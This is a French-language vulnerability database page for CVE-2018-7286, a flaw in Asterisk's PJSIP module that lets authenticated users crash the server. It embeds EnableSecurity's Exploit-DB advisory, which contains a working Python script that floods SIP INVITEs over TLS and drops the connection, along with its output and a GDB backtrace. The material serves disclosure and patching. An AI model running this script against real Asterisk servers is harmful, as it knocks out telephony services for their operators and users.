CVE-2018-7286 : Détail

CVE-2018-7286

6.5
/
Moyen
63.18%V4
Network
2018-02-21
23h00 +00:00
2018-10-17
07h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

An issue was discovered in Asterisk through 13.19.1, 14.x through 14.7.5, and 15.x through 15.2.1, and Certified Asterisk through 13.18-cert2. res_pjsip allows remote authenticated users to crash Asterisk (segmentation fault) by sending a number of SIP INVITE messages on a TCP or TLS connection and then suddenly closing the connection.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 6.5 MEDIUM CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 4 AV:N/AC:L/Au:S/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 44181

Date de publication : 2018-02-26 23h00 +00:00
Auteur : EnableSecurity
EDB Vérifié : Yes

''' # Crash occurs when sending a repeated number of INVITE messages over TCP or TLS transport - Authors: - Alfred Farrugia <alfred@enablesecurity.com> - Sandro Gauci <sandro@enablesecurity.com> - Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` installed with `--with-pjproject-bundled` - References: AST-2018-005, CVE-2018-7286 - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-04-asterisk-pjsip-tcp-segfault> - Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-005.html> - Tested vulnerable versions: 15.2.0, 15.1.0, 15.0.0, 13.19.0, 13.11.2, 14.7.5 - Timeline: - Issue reported to vendor: 2018-01-24 - Vendor patch made available to us: 2018-02-05 - Vendor advisory published: 2018-02-21 - Enable Security advisory: 2018-02-22 ## Description A crash occurs when a number of INVITE messages are sent over TCP or TLS and then the connection is suddenly closed. This issue leads to a segmentation fault. ## Impact Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use. ## How to reproduce the issue The following script was used to reproduce the issue on a TLS connection: ''' python import md5 import re import socket import ssl import uuid from time import sleep SERVER_IP = "127.0.0.1" SERVER_PORT = 5061 USERNAME = "3000" PASSWORD = "3000" INVITE_USERNAME = "3000" errno = 0 lasterrno = 0 while True: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, ) sock.connect((SERVER_IP, SERVER_PORT)) sock.settimeout(0.5) errno = 0 callid = str(uuid.uuid4()) for ix in range(10): sdpbody = "" msg = "INVITE sip:%s@%s:%i SIP/2.0\r\n" \ "To: <sip:%s@%s:%i>\r\n" \ "From: Test <sip:%s@%s:%s>\r\n" \ "Call-ID: %s\r\n" \ "CSeq: 2 INVITE\r\n" \ "Via: SIP/2.0/TLS 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \ "Contact: <sip:%s@172.17.0.1>\r\n" \ "Content-Type: application/sdp\r\n" \ "{{AUTH}}" \ "Content-Length: %i\r\n" \ "\r\n" % ( INVITE_USERNAME, SERVER_IP, SERVER_PORT, INVITE_USERNAME, SERVER_IP, SERVER_PORT, USERNAME, SERVER_IP, SERVER_PORT, callid, callid, USERNAME, len(sdpbody) ) + \ sdpbody sock.sendall(msg.replace("{{AUTH}}", "")) data = sock.recv(10240) # print(data) if data.startswith("SIP/2.0 401"): for line in data.split('\r\n'): if line.startswith("WWW-Authenticate"): content = line.split(':', 2)[1].strip() realm = re.search( "realm=\"([a-z]+)\"", content).group(1) nonce = re.search( "nonce=\"([a-z0-9\/]+)\"", content).group(1) ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest() uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT) ha2 = md5.new("INVITE:" + uri).hexdigest() r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest() auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \ "realm=\"%s\"," % (realm) + \ "nonce=\"%s\"," % (nonce) + \ "uri=\"%s\"," % (uri) + \ "response=\"%s\"," % (r) + \ "algorithm=md5\r\n" print(auth) sock.sendall(msg.replace("{{AUTH}}", auth)) errno = 0 except (socket.error, ssl.SSLEOFError), err: print(err) print("getting close!") sleep(2) errno += 1 if errno >= 10: print("confirmed dead") break elif errno > lasterrno: lasterrno = errno continue ''' The output from the tool should show the following: ``` > python test.py Authorization: Digest username="3000",realm="asterisk",nonce="1516728889/07e2e34fbd45ed7f6b1bca0d2bde50ae",uri="sip:127.0.0.1:5061",response="a2b7e2bfa722730b64787664db474f2a",algorithm=md5 EOF occurred in violation of protocol (_ssl.c:590) getting close! [Errno 111] Connection refused getting close! [Errno 111] Connection refused getting close! [Errno 111] Connection refused getting close! [Errno 111] Connection refused getting close! [Errno 111] Connection refused getting close! [Errno 111] Connection refused getting close! [Errno 111] Connection refused getting close! [Errno 111] Connection refused getting close! [Errno 111] Connection refused getting close! confirmed dead ``` Notes: - authentication may be required - the destination SIP address should match a valid extension in the dialplan - similar code to the above can be used to reproduce the issue on TCP transport ### GDB backtrace result ``` gdb --args /opt/asterisk/sbin/asterisk -fcvvv Thread 25 "asterisk" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7ffff030a700 (LWP 133)] ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956 3956 if (!tdata->dest_info.addr.count || (tdata->dest_info.cur_addr == tdata->dest_info.addr.count - 1)) { (gdb) bt #0 ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956 #1 0x00007ffff1a8dbb1 in check_request_status (inv=inv@entry=0x7fff9910bac8, e=0x7ffff0308ae0) at res_pjsip_session.c:3371 #2 0x00007ffff1a8dc83 in session_inv_on_state_changed (inv=0x7fff9910bac8, e=0x7ffff0308ae0) at res_pjsip_session.c:3455 #3 0x00007ffff7848217 in inv_set_state (state=PJSIP_INV_STATE_DISCONNECTED, e=0x7ffff0308ae0, inv=0x7fff9910bac8) at ../src/pjsip-ua/sip_inv.c:317 #4 inv_on_state_null (inv=0x7fff9910bac8, e=0x7ffff0308ae0) at ../src/pjsip-ua/sip_inv.c:3890 #5 0x00007ffff7841a77 in mod_inv_on_tsx_state (tsx=0x7fff99116408, e=0x7ffff0308ae0) at ../src/pjsip-ua/sip_inv.c:717 #6 0x00007ffff788299d in pjsip_dlg_on_tsx_state (dlg=0x7fff990eccc8, tsx=0x7fff99116408, e=0x7ffff0308ae0) at ../src/pjsip/sip_dialog.c:2066 #7 0x00007ffff787b513 in tsx_set_state (tsx=0x7fff99116408, state=PJSIP_TSX_STATE_TERMINATED, event_src_type=PJSIP_EVENT_TRANSPORT_ERROR, event_src=0x7fff9910fda8, flag=0) at ../src/pjsip/sip_transaction.c:1267 #8 0x00007ffff787cfec in send_msg_callback (send_state=0x7fff9918d2f0, sent=-171064, cont=0x7ffff0308c04) at ../src/pjsip/sip_transaction.c:1970 #9 0x00007ffff78661ae in send_response_resolver_cb (status=<optimized out>, token=0x7fff9918d2f0, addr=0x7ffff0308c60) at ../src/pjsip/sip_util.c:1721 #10 0x00007ffff184df8c in sip_resolve (resolver=<optimized out>, pool=<optimized out>, target=0x7fff99116530, token=0x7fff9918d2f0, cb=0x7ffff78660f0 <send_response_resolver_cb>) at res_pjsip/pjsip_resolver.c:527 #11 0x00007ffff7869adb in pjsip_resolve (resolver=0x1b64d40, pool=<optimized out>, target=target@entry=0x7fff99116530, token=token@entry=0x7fff9918d2f0, cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_resolve.c:209 #12 0x00007ffff78652b9 in pjsip_endpt_resolve (endpt=endpt@entry=0x1638d28, pool=<optimized out>, target=target@entry=0x7fff99116530, token=token@entry=0x7fff9918d2f0, cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_endpoint.c:1164 #13 0x00007ffff7867fe1 in pjsip_endpt_send_response (endpt=0x1638d28, res_addr=res_addr@entry=0x7fff99116508, tdata=tdata@entry=0x7fff9910fda8, token=token@entry=0x7fff99116408, cb=cb@entry=0x7ffff787cd80 <send_msg_callback>) at ../src/pjsip/sip_util.c:1796 #14 0x00007ffff787bdac in tsx_send_msg (tsx=0x7fff99116408, tdata=0x7fff9910fda8) at ../src/pjsip/sip_transaction.c:2237 #15 0x00007ffff787dc67 in tsx_on_state_proceeding_uas (event=0x7ffff0309b30, tsx=0x7fff99116408) at ../src/pjsip/sip_transaction.c:2704 #16 tsx_on_state_trying (tsx=0x7fff99116408, event=0x7ffff0309b30) at ../src/pjsip/sip_transaction.c:2634 #17 0x00007ffff787fba7 in pjsip_tsx_send_msg (tsx=tsx@entry=0x7fff99116408, tdata=tdata@entry=0x7fff9910fda8) at ../src/pjsip/sip_transaction.c:1789 #18 0x00007ffff78822a3 in pjsip_dlg_send_response (dlg=0x7fff990eccc8, tsx=0x7fff99116408, tdata=tdata@entry=0x7fff9910fda8) at ../src/pjsip/sip_dialog.c:1531 #19 0x00007ffff784519a in pjsip_inv_send_msg (inv=0x7fff9910bac8, tdata=0x7fff9910fda8) at ../src/pjsip-ua/sip_inv.c:3231 #20 0x00007ffff1a8c043 in ast_sip_session_send_response (session=session@entry=0x7fff9910e208, tdata=<optimized out>) at res_pjsip_session.c:1712 #21 0x00007ffff1a8ec09 in new_invite (invite=<synthetic pointer>) at res_pjsip_session.c:2963 #22 handle_new_invite_request (rdata=0x7fff9524ce58) at res_pjsip_session.c:3062 #23 session_on_rx_request (rdata=0x7fff9524ce58) at res_pjsip_session.c:3126 #24 0x00007ffff7864e97 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=rdata@entry=0x7fff9524ce58, p=p@entry=0x7ffff1a7ed00 <param>, p_handled=p_handled@entry=0x7ffff0309d44) at ../src/pjsip/sip_endpoint.c:893 #25 0x00007ffff185427f in distribute (data=0x7fff9524ce58) at res_pjsip/pjsip_distributor.c:903 #26 0x00000000005fc6fe in ast_taskprocessor_execute (tps=tps@entry=0x1cf2b08) at taskprocessor.c:963 #27 0x0000000000603960 in execute_tasks (data=0x1cf2b08) at threadpool.c:1322 #28 0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x16343d8) at taskprocessor.c:963 #29 0x0000000000603e40 in threadpool_execute (pool=0x1637b78) at threadpool.c:351 #30 worker_active (worker=0x7fffa0000948) at threadpool.c:1105 #31 worker_start (arg=arg@entry=0x7fffa0000948) at threadpool.c:1024 #32 0x000000000060eddd in dummy_start (data=<optimized out>) at utils.c:1257 #33 0x00007ffff5e366ba in start_thread (arg=0x7ffff030a700) at pthread_create.c:333 #34 0x00007ffff541f3dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109 (gdb) ``` ## Solutions and recommendations Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release. ## About Enable Security [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. '''

Products Mentioned

Configuraton 0

Digium>>Asterisk >> Version From (including) 14.0.0 To (including) 14.7.5

Digium>>Asterisk >> Version From (including) 15.0.0 To (including) 15.2.1

Digium>>Asterisk >> Version 13.19.1

Digium>>Certified_asterisk >> Version To (including) 13.18

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Références

https://www.debian.org/security/2018/dsa-4320
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.exploit-db.com/exploits/44181/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1040417
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/103129
Tags : vdb-entry, x_refsource_BID